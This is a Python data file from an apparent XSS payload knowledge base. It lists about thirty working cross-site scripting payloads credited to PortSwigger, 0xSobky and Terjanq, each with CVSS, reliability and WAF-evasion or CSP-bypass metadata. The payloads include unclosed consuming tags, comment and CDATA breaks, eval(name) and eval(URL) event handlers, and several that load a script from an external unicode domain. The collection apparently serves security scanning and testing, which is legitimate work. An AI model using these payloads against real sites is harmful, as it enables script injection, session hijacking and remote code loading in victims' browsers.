#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

HTML Tag XSS Payloads - PortSwigger, 0xSobky, Terjanq
"""

from ..models import PayloadEntry


PORT_SWIGGER_SOBKY_TERJANQ_PAYLOADS = {
    # === PortSwigger Consuming Tags ===
    "ps-consuming-textarea": PayloadEntry(
        payload="<textarea><script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unclosed textarea consuming following content",
        tags=["portswigger", "consuming", "textarea"],
        reliability="medium",
    ),
    "ps-consuming-title": PayloadEntry(
        payload="<title><script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unclosed title consuming following content",
        tags=["portswigger", "consuming", "title"],
        reliability="medium",
    ),
    "ps-consuming-style": PayloadEntry(
        payload="<style><script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unclosed style consuming following content",
        tags=["portswigger", "consuming", "style"],
        reliability="medium",
    ),
    "ps-consuming-noscript": PayloadEntry(
        payload="<noscript><script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unclosed noscript consuming following content",
        tags=["portswigger", "consuming", "noscript"],
        reliability="medium",
    ),
    # === 0xSobky HTML Tag Techniques ===
    "sobky-html-comment-break": PayloadEntry(
        payload="--!><svg/onload=alert()>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML comment break with --!>",
        tags=["0xsobky", "comment", "break", "html"],
        reliability="high",
        waf_evasion=True,
    ),
    "sobky-cdata-break": PayloadEntry(
        payload="]]><svg/onload=alert()>",
        contexts=["html_content", "xml"],
        severity="high",
        cvss_score=7.5,
        description="CDATA section break",
        tags=["0xsobky", "cdata", "break", "xml"],
        reliability="medium",
        waf_evasion=True,
    ),
    # === Terjanq Tiny HTML Tag Payloads ===
    "tj-base-href-unicode": PayloadEntry(
        payload="<base/href=//Ǌ.₨>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Base href with unicode domain - requires relative script after sink",
        tags=["terjanq", "tiny", "base", "unicode", "domain"],
        reliability="medium",
        waf_evasion=True,
    ),
    "tj-audio-eval-name": PayloadEntry(
        payload="<audio/src/onerror=eval(name)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Audio onerror eval(name) - works in innerHTML before DOM insertion",
        tags=["terjanq", "tiny", "audio", "eval", "innerhtml"],
        reliability="high",
    ),
    "tj-img-eval-url": PayloadEntry(
        payload="<img/src/onerror=eval(`'`+URL)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Img onerror eval URL - works in innerHTML before DOM insertion",
        tags=["terjanq", "tiny", "img", "eval", "url", "innerhtml"],
        reliability="high",
    ),
    "tj-script-unicode-domain": PayloadEntry(
        payload="<script/src=//Ǌ.₨></script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="External script with unicode domain",
        tags=["terjanq", "tiny", "script", "external", "unicode"],
        reliability="medium",
    ),
    "tj-iframe-src-name": PayloadEntry(
        payload="<iframe/onload=src=top.name>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe src from top.name",
        tags=["terjanq", "tiny", "iframe", "src", "name"],
        reliability="high",
    ),
    "tj-iframe-eval-url": PayloadEntry(
        payload="<iframe/onload=eval(`'`+URL)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe onload eval URL",
        tags=["terjanq", "tiny", "iframe", "eval", "url"],
        reliability="high",
    ),
    "tj-iframe-top-frame-name": PayloadEntry(
        payload="<iframe/onload=src=top[0].name+/\\Ǌ.₨?/>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe src from first frame name - constant iframe count",
        tags=["terjanq", "tiny", "iframe", "frame", "name"],
        reliability="medium",
    ),
    "tj-iframe-contentwindow-name": PayloadEntry(
        payload="<iframe/onload=src=contentWindow.name+/\\Ǌ.₨?/>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe src from contentWindow.name - random iframe count",
        tags=["terjanq", "tiny", "iframe", "contentWindow", "name"],
        reliability="medium",
    ),
    "tj-iframe-srcdoc-firefox": PayloadEntry(
        payload='<iframe/srcdoc="<svg><script/href=//Ǌ.₨ />">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe srcdoc with SVG script - Firefox only",
        tags=["terjanq", "tiny", "iframe", "srcdoc", "firefox"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "tj-iframe-srcdoc-script": PayloadEntry(
        payload='<iframe/srcdoc="<script/src=//Ǌ.₨></script>">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe srcdoc with script - CSP unsafe-inline disabled",
        tags=["terjanq", "tiny", "iframe", "srcdoc", "csp"],
        reliability="high",
        bypasses=["csp"],
    ),
    "tj-iframe-write-url-safari": PayloadEntry(
        payload="<iframe/onload=write(URL)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe write(URL) - Safari only (deprecated)",
        tags=["terjanq", "tiny", "iframe", "write", "safari", "deprecated"],
        reliability="low",
        browser_support=["safari"],
    ),
    "tj-style-onload-eval": PayloadEntry(
        payload="<style/onload=eval(name)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Style onload eval(name) - inline styles allowed",
        tags=["terjanq", "tiny", "style", "onload", "eval"],
        reliability="medium",
    ),
    "tj-style-onload-url": PayloadEntry(
        payload="<style/onload=eval(`'`+URL)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Style onload eval URL - inline styles allowed",
        tags=["terjanq", "tiny", "style", "onload", "url"],
        reliability="medium",
    ),
    "tj-style-onerror-eval": PayloadEntry(
        payload="<style/onerror=eval(name)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Style onerror eval(name) - inline styles blocked",
        tags=["terjanq", "tiny", "style", "onerror", "eval"],
        reliability="medium",
    ),
    "tj-style-write-url-safari": PayloadEntry(
        payload="<style/onload=write(URL)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Style write(URL) - Safari only (deprecated)",
        tags=["terjanq", "tiny", "style", "write", "safari", "deprecated"],
        reliability="low",
        browser_support=["safari"],
    ),
    "tj-min-img-27": PayloadEntry(
        payload="<img src=x onerror=alert`1`>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Minimal img - 27 characters",
        tags=["terjanq", "tiny", "img", "minimal"],
        reliability="high",
    ),
    "tj-body-onload-min": PayloadEntry(
        payload="<body/onload=alert`1`>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Minimal body onload",
        tags=["terjanq", "tiny", "body", "minimal"],
        reliability="high",
    ),
    "tj-input-onfocus-min": PayloadEntry(
        payload="<input/onfocus=alert`1`/autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Minimal input onfocus autofocus",
        tags=["terjanq", "tiny", "input", "autofocus", "minimal"],
        reliability="high",
    ),
    "tj-details-ontoggle-min": PayloadEntry(
        payload="<details/open/ontoggle=alert`1`>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Minimal details ontoggle",
        tags=["terjanq", "tiny", "details", "minimal"],
        reliability="high",
    ),
    "tj-marquee-onstart-min": PayloadEntry(
        payload="<marquee/onstart=alert`1`>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Minimal marquee onstart",
        tags=["terjanq", "tiny", "marquee", "minimal"],
        reliability="medium",
        browser_support=["firefox"],
    ),
    "tj-video-onerror-min": PayloadEntry(
        payload="<video/src/onerror=alert`1`>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Minimal video onerror",
        tags=["terjanq", "tiny", "video", "minimal"],
        reliability="high",
    ),
    "tj-audio-onerror-min": PayloadEntry(
        payload="<audio/src/onerror=alert`1`>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Minimal audio onerror",
        tags=["terjanq", "tiny", "audio", "minimal"],
        reliability="high",
    ),
}
